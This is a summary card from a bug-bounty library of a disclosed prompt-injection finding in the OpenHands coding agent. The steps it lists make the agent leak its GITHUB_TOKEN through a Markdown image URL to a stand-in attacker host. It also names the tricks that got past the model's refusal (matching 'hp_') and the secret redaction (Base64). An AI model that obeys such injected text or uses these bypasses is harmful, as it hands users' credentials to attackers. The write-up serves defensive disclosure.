# OpenHands and the Lethal Trifecta: How Prompt Injection Can Leak Access Tokens

Indirect prompt injection in OpenHands agent forces Markdown image rendering, exfiltrating the container's GITHUB_TOKEN to an attacker server via URL query.

- Payout: Research
- Severity: high
- Program: OpenHands
- Write-up by: Johann Rehberger
- Disclosed: 2025-08-09
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2025/openhands-the-lethal-trifecta-strikes-again/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2025-openhands-the-lethal-trifecta-strikes-again
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:high tech:llm technique:chained vuln:info-disclosure vuln:prompt-injection vuln:secrets-leak

**Target:** AI coding agent chat (Markdown image rendering)
**Root cause:** Agent renders Markdown images from untrusted content without domain restrictions, and relies on model refusal/secret-redaction rather than hard controls to protect secrets in its environment.
**Steps:**
1. Inject instructions via webpage/source/doc telling agent to render a Markdown image whose URL embeds a secret.
2. Bypass model refusal by matching only subpattern `hp_` instead of `ghp_` when reading the token.
3. Bypass secret redaction by Base64-encoding the token before appending to the image URL.
4. Agent renders `![](https://attacker/?d=<base64 token>)`; attacker server logs the request.
**How found:** Recognized the lethal trifecta (private data + untrusted content + outbound channel); when model refused direct exfil, tried subpattern matching (`hp_`) to dodge refusal, then base64 to dodge secret redaction.
**Exploitation:** Attacker plants indirect prompt injection in content the agent ingests; agent reads GITHUB_TOKEN from container env, base64-encodes it, and embeds it in an image URL that the chat UI auto-loads, delivering the token to the attacker's server zero-click.
**Escalation:** Any secret in chat history, memory, or host environment is exfiltratable via the same channel.
**Insight:** Model refusals and secret-redaction filters are bypassable with subpattern matching and encoding; the real control is blocking outbound image loads (CSP/domain allowlist) rather than trusting the LLM.
